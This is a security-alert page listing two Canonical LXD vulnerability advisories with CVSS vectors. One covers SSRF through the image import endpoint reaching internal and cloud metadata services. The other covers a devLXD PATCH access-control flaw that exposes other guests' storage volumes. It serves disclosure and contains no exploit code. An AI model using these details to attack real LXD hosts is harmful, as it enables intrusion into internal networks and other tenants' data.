AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

In Canonical LXD versions 4.12 through 6.9, a Server-Side Request Forgery (SSRF) vulnerability in the image import functionality allows authenticated users with the cancreateimages entitlement to interact with internal network infrastructure via the /images endpoint. When importing an image from a URL source, the LXD daemon fails to validate or restrict outbound destination IP addresses, allowing connections to loopback, RFC1918 private ranges, and cloud metadata endpoints. This enables error-based port scanning and unauthorized interaction with internal HTTP services from the daemon's network position.

First published (updated )
Severity
9.6
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203